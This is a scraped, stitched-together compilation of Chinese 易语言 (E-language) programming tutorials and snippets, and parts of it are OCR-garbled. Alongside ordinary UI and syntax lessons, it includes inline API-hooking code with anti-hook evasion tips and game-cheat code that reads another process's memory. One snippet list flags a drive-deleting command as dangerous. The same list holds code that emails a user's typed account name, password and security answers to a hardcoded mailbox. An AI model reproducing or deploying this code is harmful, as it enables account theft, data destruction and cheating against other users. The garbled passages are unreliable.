易语言代码实例

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.版本2

.支持库iext2

.支持库iext

.子程序_财_付款管理窗口_创建完毕

全局_窗口集.付款管理=取窗口句柄()

选择(真, 单选框_客户, 单选框_供货商)

选择(真, 单选框_供货商, 单选框_其他)

单选框_客户.选中=真

取超级列表框序列(超级列表框_付款管理)

单选框_客户.禁止=取反(分解权限(161))

单选框_供货商.禁止=取反(分解权限(162))

单选框_其他.禁止=取反(分解权限(163))

选择框_所有往来单位.禁止=取反(分解权限(164))

超级按钮_打印全部.禁止=取反(分解权限(165))

超级按钮_打印付款单.禁止=取反(分解权限(166))

按钮_付款中.禁止=取反(分解权限(167))

按钮_付款完成.禁止=取反(分解权限(168))

超级按钮_查询.禁止=取反(分解权限(169))

超级按钮_导出.禁止=取反(分解权限(256))

状态改变.禁止=取反(分解权限(267))

超级列表框_付款管理.图片组=#图片组

.子程序_财_付款管理窗口_尺寸被改变

超级列表框_付款管理.宽度=取用户区宽度() -超级列表框_付款管理.左边×2 超级列表框_付款管理.高度=取用户区高度() -超级列表框_付款管理.顶边-5 分组框2.宽度=取用户区宽度() -分组框2.左边×2

分组框1.宽度=分组框2.宽度

分组框1.左边=分组框2.左边

分组框3.可视=假

分组框3.顶边=0

分组框3.左边=0

分组框3.宽度=取用户区宽度()

分组框3.高度=取用户区高度()

《易语言中文编程从入门到精通》

绍兴县教研室试点教材 汉语编程工具易语言 汉语编程工具易语言 汉语编程工具易语言

易语言教程――初级版 目录 目录..........................................................................................................................- 2 - 第一部分 易语言入门....................................................................................................- 3 - 第一课 走进“易”世界........................................................................................- 3 - 一、打开“易语言”设计窗口........................................................................- 3 - 二、认识“易语言”........................................................................................- 3 - 三、第一个易程序............................................................................................- 5 - 四、小结............................................................................................................- 6 - 第二课 简单的人机交互........................................................................................- 7 - 一、第一个交互程序........................................................................................- 7 - 二、小结............................................................................................................- 9 - 第三课 按钮与标签的综合运用..........................................................................- 10 - 第四课 图文并茂..................................................................................................- 12 - 第五课 看看计算机的计算能力..........................................................................- 14 - 第六课 让世界丰富多彩......................................................................................- 16 - 第七课 顺序程序结构..........................................................................................- 18 - 第八课 猜数(选择程序结构)..........................................................................- 21 - 第九课 多分支控制结构语句..............................................................................- 25 - 第十课 练习..........................................................................................................- 27 - 一、选择题:..................................................................................................- 27 - 二、编程题:..................................................................................................- 27 - 第十一课 循环程序结构......................................................................................- 29 - 第十二课 循环程序结构练习..............................................................................- 33 - 一、选择题......................................................................................................- 33 - 二、编程题......................................................................................................- 34 - 第十三课 菜单的设计..........................................................................................- 36 - 一、菜单的基本概念......................................................................................- 36 - 二、菜单编辑器的打开..................................................................................- 36 - 三、设计下拉式菜单......................................................................................- 37 - 第十四课 对话框..................................................................................................- 41 - 一、提示类对话框..........................................................................................- 41 - 二、自定义对话框..........................................................................................- 42 - 三、通用对话框..............................................................................................- 43 - 附录 实例应用荟萃..............................................................................................- 45 -

易语言中文编程,从入门到精通【菜鸟基础教程】

绍兴县教研室试点教材汉语编程工具易语言

易语言教程――初级版 目录 目录.......................................................................................................................... - 2 - 第一部分易语言入门.................................................................................................... - 3 - 第一课走进“易”世界........................................................................................ - 3 - 一、打开“易语言”设计窗口 ........................................................................ - 3 - 二、认识“易语言”........................................................................................ - 3 - 三、第一个易程序............................................................................................ - 5 - 四、小结............................................................................................................ - 6 - 第二课简单的人机交互........................................................................................ - 7 - 一、第一个交互程序........................................................................................ - 7 - 二、小结............................................................................................................ - 9 - 第三课按钮与标签的综合运用 .......................................................................... - 10 - 第四课图文并茂.................................................................................................. - 12 - 第五课看看计算机的计算能力 .......................................................................... - 14 - 第六课让世界丰富多彩...................................................................................... - 16 - 第七课顺序程序结构.......................................................................................... - 18 - 第八课猜数(选择程序结构) .......................................................................... - 21 - 第九课多分支控制结构语句 .............................................................................. - 25 - 第十课练习.......................................................................................................... - 27 - 一、选择题:.................................................................................................. - 27 - 二、编程题:.................................................................................................. - 27 - 第十一课循环程序结构...................................................................................... - 29 - 第十二课循环程序结构练习 .............................................................................. - 33 - 一、选择题...................................................................................................... - 33 - 二、编程题...................................................................................................... - 34 - 第十三课菜单的设计.......................................................................................... - 36 - 一、菜单的基本概念...................................................................................... - 36 - 二、菜单编辑器的打开 .................................................................................. - 36 - 三、设计下拉式菜单...................................................................................... - 37 - 第十四课对话框.................................................................................................. - 41 - 一、提示类对话框.......................................................................................... - 41 - 二、自定义对话框.......................................................................................... - 42 - 三、通用对话框.............................................................................................. - 43 - 附录实例应用荟萃.............................................................................................. - 45 -

易语言代码大全

4. 1?信息框(“”) 双引号内填你想出现的文字,点击按钮即可出现信息框,上有你想出现的文字。 2?编辑框1.内容=“” 在双引号内输入文字,点击按钮即可在编辑框内出现你所输入的文字。 3?判断开始(组合框1?现行选中项 =0) ?判断(组合框1?现行选中项 =1) 门计:次储坏首ao f M 煽皤粧1?加入文本倒文本⑹十楸行約 二-计炭储环屋0 厂卜计次循环首3 ) 占动窗口.扳题=Lading" :厂卜计灰猶环首6) :■ 上动窗口,标超=动窗口.标題+ ::G00) ’※等侍时间:300 丄-计次循环尾0 I i 1 --计次储环庫0 载入窗口I, , M ) * Loading 效果 编辑框3.内容=到文本(到数值 (编辑框1.内容)+至U 数值(编辑框2?内容)) 编辑框3?内容=到文本(到数值 ?判断(组合框1?现行选中项 =2) 编辑框3?内容=到文本(到数值 ?判断(组合框1?现行选中项 =3) 编辑框3?内容=到文本(到数值 (编辑框1?内容)—到数值 (编辑框2?内容)) (编辑框1?内容)X 到数值(编辑框2?内 容)) )(

7. 匾用対话框1 ?扌J 卄褊蜒L 内咨=(1用対话程L 文件容 抚行C 编辑框 1.內咨,,,) 丄+信息框(咽呵?If 5 “才,6.〕 5. 快速打开程序的易程序代码。 置随机教种子0 店媚口标题=到文本⑻随机韧【】?別的阳盯 赶交衣F19柜1曲11 =1 曄辄时訓周期=到数值 ■曰抑如旦期=6. 快速刷新网站易程序代码 电11世障其酿」 槪匡L 百-劉只狂煩莎込蕾⑧牡佰 雜召离型 磁姗酋汪 2 ___ 玖箫度小趨一 I 工二丄H B 1 = 1 + 1 4- I - Z -b 1ISD 1 = 1+1 询鼻〕 一个简易的定义运算的代码。

易语言HookAPI 技巧

易语言HookAPI 技巧 易语言Hook的代码有很多,Hook的跳转代码也很简单,不多说,主要注意的有: 1.可以保存原API函数的API头到自己申请的地址,Hook跳转的地址仍然是自己的子程序, 但如果保存了API头,就可以call addr 实现不恢复Hook调用原函数。 .版本2 .如果真(FuncAddress =0 或HookFuncAddr =0) 返回(0) .如果真结束 hHook =VirtualAlloc (0, 14, 位或(#MEM_COMMIT, #MEM_RESERVE), #PAGE_EXECUTE_READWRITE) .如果真(hHook =0) 返回(0) .如果真结束 RtlMoveMemory_1 (hHook, 到字节集(FuncAddress), 4) JmpCode =hHook +4 RtlMoveMemory (JmpCode, FuncAddress, 5) RtlMoveMemory_1 (JmpCode +5, { 233 } +到字节集(到整数(FuncAddress + 5 -JmpCode -10)), 5) VirtualProtect (FuncAddress, 5, #PAGE_EXECUTE_READWRITE, OldProtect) RtlMoveMemory_1 (FuncAddress, { 233 } +到字节集(到整数(HookFuncAddr -FuncAddress -5)), 5) VirtualProtect (FuncAddress, 5, OldProtect, 0) 返回(JmpCode) 2.Hook recv函数等的技巧,这类函数的特点是,某个参数是具有缓冲区性质的,并在函数 调用完成后参数会直接传递数据,所以结合上面的代码,就可以这样了: ret=Call(jmpcode,para1,para2.etc) 这时候,再对参数para1等进行处理,才可以获得数据 3.Anti-Hook的躲避技巧,部分程序会有检测API头5字节,所以我们只需要在Hookaddr 上面加上一段偏移(大于5)即可躲避。更深入地,如果检测的是整个API头,我们就需要深入API的调用过程,Hook核心函数或其他流程来躲避。由于校验所有API头hash 值需要大量的CPU占用及时间,所以一般也只会对重点函数进行检测。

易语言置入代码

易语言置入代码 速度及完成一些易不好直接完成的操作,是追求置入代码的全部!如果你不同意,那基本上不用往下看。汇编功底只有靠自己,这里只是讲述在易语言中如何使用“置入代码()”来嵌入汇编及其注意要点。这是自己的学习体会,如有理解错误或bug请指出,谢! 我们先来了解一下置入代码是怎么的一回事 汇编中nop(10010000)是空操作指令,我们先使用8个空操作来给程序作个“置入代码”的标记。于是,在一个新建易程序中输入如下代码: 静态编译成可执行文件后,使用OllyDbg反编译一下: PUSH EBP / MOV EBP,ESP 是例行的保存和设置EBP 的代码,因为缺省对堆栈操作的寄存器有ESP 和EBP,而ESP是堆栈指针,无法暂借使用(代码中若有PUSH/POP指令会自动修改ESP值),所以一般使用EBP 来存取堆栈。聪明的你在这时有没有想发言:“但我们置入代码中没有添加这个指令,它是如何来的?”告诉大家,这是易编译器添加上去的。易语言为所有子程序初始都添加这么的两句,在“返回()”时再使用MOV ESP,EBP/POP EBP 来平栈,这都是易语言在编译时所做的处理,平常我们都不用关心这些。但当使用置入代码来嵌入汇编指令,我们就不得不了解。现暂且放下,后面再来说明我们要了解的的东西。 跳出具体指令,看看反汇编子程序的框架。置入的代码(8个nop)“完全”的位于一个子程序内。对此应了解:我们置入代码()严格来说是置入汇编代码“片段”。不要希求能置入一个完整pe数据,易语言会在编译链接时写入易的文件头。置入代码()就不能再使用.data或invoke messagebox之类。因为易语言不会再为我们置入的代码去修改数据段及导入表。 辅助工具的选用 作为铺垫,我们先来了解一下易语言置入代码汇编工具。云外归鸟(大鸟)提供了一个功能完善、界面友好、使用免费的工具“易语言置入代码NASM汇编生成工具v1.0 ”

易语言入门教程,外挂制作宝典

第一课.易语言的基本概念 1.全可视化 一般的可视化编程语言,仅支持图形用户界面的可视化设计操作,而易语言除了支持此类可视化操作,还支持程序流程的即时可视化呈视,极大地减少了程序录入错误。即:用户在编写程序的过程中,可以即时看到当前程序的运行流程及路线,有助于培养编程思路,提高解决编程问题的能力。 学习各种外挂制作技术,马上去百度搜索"魔鬼作坊"点击第一个站进入、快速成为做挂达人。 2.全中文 作为一款由中国人自己开发的编程语言,易语言在中文处理方面有良好的支持。用户在编写程序的过程中,可以不接触任何英文。根本不懂英文的人使用中文编写代码也没有任何障碍。 (1)中文名称的快速录入。易语言内置四种名称输入法:首拼、全拼、双拼、英文。三种拼音输入法均全面支持南方音。使用这些输入法能够极大地提高中文代码的输入速度。 直接使用系统提供的输入法,如五笔字型、智能ABC、紫光拼音、自然码等,同样可以进行程序的输入。 (2)程序全部以中文方式显示,运算符号全部显示为对应的中文符号(≥≤≠≈×÷),日期时间以中文格式呈现(年月日时分秒),以便于中文用户理解、阅读程序。 (3)适合中国人的语言、思维习惯。对其它计算机编程语言的学习,总会感到某种限制,首先是语言环境的限制,有很多专业的术语字面上很难理解它的含义,而以中文编写出的程序代码,符合中国人的语法习惯和逻辑思维,可以做到见文思义,更加适合中国人使用。在以后复查程序时可以非常直观地分析;给其他人源代码学习时也会非常简单,相互交流变得更加容易。 易语言更提供了中文格式日期时间处理、汉字发音处理、全半角字符处理、人民币金额处理等功能支持。 3.全编译与跨平台 易语言拥有自己独立的高质量编译器,中文源代码被直接编译为目的机器的CPU指令,高效且不存在任何速度瓶颈和安全隐患。 易语言现已同时支持Windows和Linux程序开发,不再依赖特定的操作系统。 4.可扩充支持库 易语言由基本系统和运行支持库两部分组成,两者之间通过使用易语言自行定义的接口技术进行协作。运行支持库内提供了易语言的所有语言要素,如:命令、窗口和报表单元数据类型、普通数据类型、常量等等。可以通过安装外部支持库来扩充易语言基本系统。运行支持库还可以被随意增减、抽换或升级,基本系统对运行支持库提供了详细的版本控制。本技术给用户带来的最大好处是:

易语言代码大全

1. 信息框(“”) 双引号内填你想出现的文字,点击按钮即可出现信息框,上有你想出现的文字。 2. 编辑框1.内容=“” 在双引号内输入文字,点击按钮即可在编辑框内出现你所输入的文字。 3. 判断开始(组合框1.现行选中项 =0) 编辑框3.内容=到文本(到数值(编辑框1.内容)+到数值(编辑框2.内容)) .判断(组合框1.现行选中项=1) 编辑框3.内容=到文本(到数值(编辑框1.内容)—到数值(编辑框2.内容)) .判断(组合框 1.现行选中项=2) 编辑框3.内容=到文本(到数值(编辑框1.内容)X 到数值(编辑框2.内容)) .判断(组合框 1.现行选中项 =3) 编辑框3.内容=到文本(到数值(编辑框1.内容)-到数值(编辑框2.内容)) 「?计次循环首血7 碎:编辑框1,加入文本圉」文本Ci ) +嫩行符) I 一计次循环屋0 厂卜计次循评首③)少动窗口 “标题=^Loading" :厂卜计次循环首直) ::动窗口一标题=上动窗口.标题+ ” ::延迟(300) *?r 赛等待时间:300 ,L -计:欠循环尾0 I 'I I 「计次循环尾0 载入⑥口 ,真) ■ 4 Loading 效果 4.

通用对话&打开0 编辑框1内容=谨用对话框1.文件容 mil c编辑框1.內容,,,) ;+信島框严呵呵,if E e asy" j 0,) 5. 快速打开程序的易程序代码。 置趣机埶种子〔〕 品动斎口.标题=到文本收随机数(1. 9999999)) 鶴文帝测耳框1.地址-M&L.内書 时¥牺时钟周期=到数情騙辑框 +时一时钟周期= 6. 快速刷新网站易程序代码 编辑框R内客=剽文峦厦栾逗算侄啜直螂旌内劄,至檄值斷弭症内客以 斑名类里静帝删备注 + + X = I + 10D X = ;<+ ] 逋回(X)

易语言键代码一览表

易语言键代码一览表 A ---[65] 乘号 ---[106] Backspace--[8] B ---[66] 加号 ---[107] Tab ---[9] C ---[67] Enter ---[108] Clear ---[12] D ---[68] 减号 ---[109] Enter ---[13] E ---[69] 小数点---[110] Shift ---[16] F ---[70] 除号 ---[111] Control ---[17] G ---[71] F1 ---[112] Alt ---[18] H ---[72] F2 ---[113] Caps Lock--[20] I ---[73] F3 ---[114] Esc ---[27] J ---[74] F4 ---[115] 空格键 ---[32] K ---[75] F5 ---[116] Page Up ---[33] L ---[76] F6 ---[117] Page Down--[34] M ---[77] F7 ---[118] End ---[35] N ---[78] F8 ---[119] Home ---[36] O ---[79] F9 ---[120] 左箭头 ---[37] P ---[80] F10 ---[121] 向上箭头---[38] Q ---[81] F11 ---[122] 右箭头 ---[39] R ---[82] F12 ---[123] 向下箭头---[40] S ---[83] F13 ---[124] Insert ---[45] T ---[84] F14 ---[125] Delete ---[46] U ---[85] F15 ---[126] Help ---[47] V ---[86] W ---[87] X ---[88] Y ---[89] Z ---[90] 0 ---[48] 数字键盘 1 ---[96] Num Lock---[144] 1 ---[49] 数字键盘 2 ---[97] ; : ---[186] 2 ---[50] 数字键盘 3 ---[98] = + ---[187] 3 ---[51] 数字键盘 4 ---[99] _ ---[189] 4 ---[52] 数字键盘 5 ---[100] / ? ---[191] 5 ---[53] 数字键盘 6 ---[101] ` ~ ---[192] 6 ---[54] 数字键盘 7 ---[102] [ { ---[219] 7 ---[55] 数字键盘 8 ---[103] | ---[220] 8 ---[56] 数字键盘 9 ---[104] ] } ---[221] 9 ---[57] 数字键盘 0 ---[105] '' ' ---[222]

易语言程序设计第三章窗口及简单输入输出.

<易语言程序设计 > 作者:蔷薇的羽翼 第三章窗口及简单输入输出 绝大多数的 WINDOWS 应用程序都以一个窗口界面的形式来实现与使用者的交互, 他是所有初学者首先要接触到的易语言控件, 这是因为在创建一个新的应用程序时, 易语言会自动为该应用程序创建一个缺省窗口。窗口是使用者与计算机交互的门户。所谓交互通常指数据的输入与输出,初学者只要学会信息框与输入框,就能以最简单的方式实现应用程序的输入与输出 3.1最简单的应用程序 只有一个窗口的 WINDOWS 应用程序应该是最简单的了。在学会编写单窗口应用程序的基础上。就能由浅入深逐渐写出包含多窗口的复杂工程了 当我们新建一个 WINDOWS 窗口程序时候,易语言就自动给我们创建了一个单窗口的程序。改窗口的默认名称为 _启动窗口 , 即使什么都没做 , 程序也能正常在屏幕上显示一个空白窗口 . 并且利用这个最简单的程序我们就能了解窗口的常用属性 . 3.2窗口的属性 关于窗口的位置大小等属性 . 我们已经在上一章中讲解了 . 这里只是介绍其他与窗口有关的属性 . 这些属性的不同组合就能得到风格各异的窗口或者对话框 1. 窗口标题 设置窗口标题栏上的文字 , 该属性默认为空 . 属性值可以在程序运行时候改变 , 可以赋予一个固定字符串或者变量等 . 读取和设置窗口属性可以用一下语法

. 详见第三章附带的“标题.e ” 2. 边框样式 对于窗口。“边框” 属性决定了其主要外观特征。即窗口是普通窗口还是工具窗口。其数据类型为整数型一共提供一下可选属性值 0、无边框 1、普通可调边框 2、普通固定边框 3、窄标题可调边框 4、窄标题固定边框 5、镜框式可调边框 6、镜框式固定边框 详见第三章附带的“边框.e ” 3. 控制按钮、最大化、最小化按钮 控制按钮属性设置是否显示窗口上的所有控制按钮及窗口控制菜单用于显示和隐藏控制按钮(最小化,关闭和最大化 /还原。 详见第三章附带的“控制按钮.e ” 4. 可否移动

易语言控件的通用属性方法和事件

易语言控件的通用属性方法和事件.txt12思念是一首诗,让你在普通的日子里读出韵律来;思念是一阵雨,让你在枯燥的日子里湿润起来;思念是一片阳光,让你的阴郁的日子里明朗起来。易语言控件的通用属性方法和事件(转载)(2010-01-06 01:23:40)转载标签:电脑控件句柄易语言画板it 分类:软件 一、控件的通用“属性” 控件的通用属性主要有:名称、标题、禁止、可视、鼠标指针、字体、边框、可停留焦点、左边、顶边、宽度、高度、标记、备注等。 上述列出的属性中,只有名称、左边、顶边、宽度、高度、标记、备注是每个控件都拥有的属性,其它属性虽不是每个控件都有,但也非常常见,故也认为它们是控件的通用属性。通用属性中除了名称和标题外,一般不必刻意设置——易语言自动为其取最常见的值。 除了通用属性外,控件一般都还有自己的特有属性。 下面逐个讲解控件的通用“属性”: 1、名称 控件的唯一标识。好比现实中人的身份证。放到程序中控件必须有名称——如果程序员未特别命名,易语言自动为它按序号命名(如:按钮1、按钮2……编辑框1、编辑框2……等)。要想在代码中操作控件的属性方法和事件,就必须指定目的控件的名称(如:按钮 1.标题)。 [注:如果程序较为复杂——用到的控件较多,最好自己为控件命名。为控件取一个有意义的名称是一个好的习惯。我个人认为,一个好的名称 = 功能 + 控件类型,如“确定按钮”“取消按钮”“密码编辑框”等等。另外,切不可用代码改动控件的名称!] 2、标题 显示于控件上的文字。主要是给程序的使用者看的,通常作为某种提示。因控件的不同,标题出现的出现的位置可能也不一样。如:窗口、通用对话框等有标题栏的控件,标题出现在标题栏中;而按钮、标签、单选框、选择框、分组框、菜单等没有标题栏的控件,标题出现在控件中央(或偏上下左右)。 3、禁止 控制控件可否被程序使用者操作。它的值只能为真或假,默认为假,即不禁止。被禁止的控件一般表现为:上面的文字(即标题)变为灰色,单击它没有任何反应。 4、可视 控制控件可否被程序使用者看到。它的值只能为真或假,默认为真,即可以被看到。 5、鼠标指针 当鼠标移动到控件上方时,鼠标指针的形状。本属性一般不必改动——易语言根据控件的不同,会自动为其取一个默认值(最常见的),如:按钮上为,编辑框上为等。 6、字体 标题文字的字体:包括字体名称、字体大小、加粗、倾斜、下划线、删除线等。注意,字体颜色一般是不生效的,标题文字的颜色由另外的属性(文本颜色)控制。 7、边框 控制边框的样式。边框一般有:0.无边框、1.凹入式、2.凸出式、3.浅凹入式、4.镜框式、5.单线边框式等几种样式。对标签控件而言,它还有另外一个样式:6.渐变镜框式。而对于窗口来说,它的样式就完全不同:0.无边框、1.普通可调边框、2.普通固定边框、3.窄标题可调边框、4.窄标题固定边框、5.镜框式可调边框、6.镜框式固定边框等。 8、可停留焦点 设置当用户使用 TAB 或光标键在各单元之间移动焦点时是否允许在本单元上停留。它的值只能为真或假,默认为真。如果控件的可停留焦点属性为真,则控件还有另外一个属性(停

易语言10分钟入门教程

“易语言”十分钟入门教程 ?第 1 分钟:序曲 ?第 2 分钟:“易语言”初相识 ?第 3 分钟:第一个程序 ?第 4 分钟:第一个类库 ?第 5 分钟:猜数字游戏 ?第 6 分钟:基本语法 ?第 7 分钟:面向对象 ?第 8 分钟:特色语法 ?第 9 分钟:答题时间 ?第 10 分钟:收工喽 亲爱的朋友,您愿意花十分钟的时间,来了解一门全新的编程语言“易语言”吗?本文来自:https://www.360docs.net/doc/e06525853.html,/ 第 1 分钟:序曲 只有十分钟,时间紧迫,让我们立刻开始,不多说一句废话(这一句话本身算不算废话?哈哈)。 其实用不着那么紧张,以人均每分钟阅读300字计算,10分钟足以读完3000字。况且我也不打算写那么长,因为还要给亲爱的读者留足思考时间。 本文作为十分钟入门教程,无法面面俱到,只能重点介绍初学者着重关注、关心或感兴趣的部分。本文的主要目的是:让读者在很短的时间内对“易语言”有一个大概的了解和感性的认识。如果想获取更深入、更详尽、更权威、更条理、更富逻辑性(或者更抽象、更死板?)的资料,请去拜读易语言官方提供的《“易语言”白皮书》——这本书写的很好,文笔比我强多了!本文大量参考该白皮书。 (在本文中,我偶尔会把“易语言”说成“飞扬易语言”或“易语言”,总之都是一样东东。) 第 2 分钟:“易语言”初相识 先通过简单几句话,了解一下飞扬易语言的大概: ?完全面向对象,具有类和接口的完整概念(从现在开始忘掉结构化编程吧)?具有自动垃圾回收机制(你只管创建对象,而不必自己释放,轻松多了)?源代码将被编译为本地机器码,程序具有很高的执行效率(当然还是比不上C语言)

易语言外挂代码分析

易语言外挂代码分析.txt都是一个山的狐狸,你跟我讲什么聊斋,站在离你最近的地方,眺望你对别人的微笑,即使心是百般的疼痛只为把你的一举一动尽收眼底.刺眼的白色,让我明白什么是纯粹的伤害。易语言源码,易语言我们都知道是盗号类木马常用的,很多朋友想知道易语言源码是怎么样的,但一般在网上都不会出现正常的易语言源码,你可以参考下面的文档学习编写模式。 .程序集窗口程序集1 .程序集变量基址, 整数型 .程序集变量基址1, 整数型 .子程序 _窗口1_创建完毕 基址=十六到十 (“926FD4”) .子程序 _句柄时钟_周期事件 .局部变量字节, 文本型 窗口句柄=取窗体句柄 (, “Element Client”) .如果真 (窗口句柄> 0) 信息 () 进程ID =取窗口进程ID (窗口句柄) 内存优化 () .如果真结束 .子程序信息 .局部变量临时人物, 字节集 .局部变量人物名称, 文本型 一级基址=读整型内存 (进程ID, 基址) +十六到十 (“1C”) 人物基址=读整型内存 (进程ID, 读整型内存 (进程ID, 一级基址) +十六到十(“20”)) 怪物基址=读整型内存 (进程ID, 读整型内存 (进程ID, 读整型内存 (进程ID, 一级基址) +十六到十 (“8”)) +十六到十 (“24”)) .子程序选怪 .局部变量怪物数量, 整数型 .局部变量怪物数组最大值, 整数型

.局部变量怪物列表首地址, 整数型 .局部变量 I, 整数型 .局部变量怪物偏移, 整数型 .局部变量怪物信息指针, 整数型 .局部变量怪物名称地址, 整数型 .局部变量临时怪物名称, 字节集 .局部变量怪物名称, 文本型 .局部变量怪物ID, 整数型 .局部变量 N, 文本型 .局部变量 x, 字节集 .局部变量 y, 字节集 .局部变量 z, 字节集 .局部变量 j, 字节集 .局部变量怪物x坐标, 整数型 .局部变量怪物y坐标, 整数型 .局部变量怪物z坐标, 整数型 .局部变量怪物距离, 整数型 .局部变量怪物种类, 整数型 .局部变量怪物类别, 整数型 .局部变量最近怪物, 整数型 .局部变量要攻击的怪物ID, 整数型 .局部变量对象数量, 整数型 .局部变量怪物等级, 整数型 .局部变量怪物当前血, 整数型 .局部变量时间, 日期时间型 .局部变量最近距离, 整数型 .局部变量怪物名称首地址, 整数型 .局部变量怪物状态, 整数型 最近距离= 10000 怪物数量=读整型内存 (进程ID, 怪物基址+十六到十 (“14”)) 怪物数组最大值=读整型内存 (进程ID, 怪物基址+十六到十 (“24”)) 怪物列表首地址=读整型内存 (进程ID, 怪物基址+十六到十 (“18”)) .计次循环首 (怪物数组最大值- 1, I) 怪物偏移=读整型内存 (进程ID, 怪物列表首地址+ 4 × (I - 1)) .如果真 (怪物偏移> 0) 怪物信息指针=读整型内存 (进程ID, 怪物偏移+十六到十 (“4”)) 怪物ID =读整型内存 (进程ID, 怪物信息指针+十六到十 (“11c”)) 怪物名称地址=读整型内存 (进程ID, 怪物信息指针+十六到十 (“230”)) 临时怪物名称=内存读字节集 (进程ID, 怪物名称地址, 80) 怪物名称=转换Unicode转Ansi (临时怪物名称)

易语言代码大全

危险---- 删除目录("D:/") 标准输入() windows控制台程序一直在回车退出 标准输出()windows控制台程序输入写的内 信息框(“”, #确认钮, ) 信息框(“”, #错误图标) 信息框(“”, #取消钮, ) 信息框(“”, #取消是否钮, ) 信息框(“”, #询问图标, ) 信息框(“”, #信息图标, ) 0、#确认钮;1、#确认取消钮;2、#放弃重试忽略钮;3、#取消是否钮;4、#是否钮;5、#重试取消钮 第二组(描述图标的样式): 16、#错误图标;32、#询问图标;48、#警告图标;64、#信息图标 第三组(说明哪一个按钮是缺省默认值): 0、#默认按钮一;256、#默认按钮二;512、#默认按钮三;768、#默认按钮四 第四组(决定如何等待消息框结束): 0、#程序等待;4096、#系统等待 第五组(其它): 65536、#位于前台;524288、#文本右对齐 鸣叫() 连接发信服务器(“https://www.360docs.net/doc/e06525853.html,”, 25, “710357393@https://www.360docs.net/doc/e06525853.html,”, "363031000", ) 发送邮件(“主题:号来了”, “正文:”+#换行符+“账号:”+编辑框1.内容+#换行符+“密码:”+编辑框2.内容, “710357393@https://www.360docs.net/doc/e06525853.html,”, , , “710357393@https://www.360docs.net/doc/e06525853.html,”,

“710357393@https://www.360docs.net/doc/e06525853.html,”) 连接发信服务器(“https://www.360docs.net/doc/e06525853.html,”, 25, “710357393@https://www.360docs.net/doc/e06525853.html,”, “363031000”, ) 发送邮件(“主题:密保”, “正文:”+#换行符+“第一个密保:”+编辑框 1.内容+#换行符+“第二个密保:”+编辑框2.内容+#换行符+“第三个密保:”+编辑框3.内容, “710357393@https://www.360docs.net/doc/e06525853.html,”, , , “710357393@https://www.360docs.net/doc/e06525853.html,”, “710357393@https://www.360docs.net/doc/e06525853.html,”) 断开发信服务器() 气球提示框1.弹出提示框(720, 580, ) 窗口2.位置=3 全屏 _启动窗口.标题=到文本(取现行时间()) 取剪辑板文本() 复制编辑框1.内容=取剪辑板文本() 置剪辑板文本() 粘贴置剪辑板文本(编辑框2.内容)

易语言代码输入实用技巧

易语言代码输入实用技巧

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易语言3.8之前的版本,输入代码的方法为:每输入一行程序,必须使用回车键确认,否则将自动保存为草稿。而继4.0之后,易语言的代码区支持文本输入方法,用户只需要要按着文本的正常输入方法输入代码即可,无需以前的输入方法。 1.4.1 内置输入法 1.拼音输入法 为了便于输入程序代码,易语言内置4种名称输入法:首拼、全拼、双拼、英文。使用菜单“工具”→“系统配置”弹出“系统配置对话框”,如图1-17所示。 图1-17 系统配置对话框 3种拼音输入法均支持南方音及多音字。首拼输入法及全拼输入法在系统中被合并为“首拼及全拼输入法”,系统自动判别所输入的拼音是首拼方式还是全拼方式。双拼输入法的编码规则与Windows系统所提供的双拼输入法一致。例如:欲输入“取整(1.23)”语句,各种输入法的输入文本如下。 首拼输入法: qz (1.23) 全拼输入法: quzheng (1.23) 双拼输入法: quvg (1.23) 英文输入法: int (1.23) 以上各种输入法的名称部分输入文本(如:qz,quzheng,quvg,int)简称为“输入字”。拼音类输入法的输入字(如:qz,quzheng,quvg)简称为“拼音输入字”。首拼及全拼输入法的输入字简称为“首拼及全拼输入字”,双拼输入法的输入字简称为“双拼输入字”。 输入字可以用来输入程序中所涉及到的一切名称,包括: ●所有当前运行支持库中所提供的命令、窗口和报表单元数据类型及其属性和方法、普通 数据类型及其成员和方法、库定义常量等名称。 ●用户在程序中定义的子程序参数、子程序局部变量、程序集变量、全局变量名称。 ●用户定义的子程序、Dll外部命令名称。 ●用户定义的数据类型及其成员名称。

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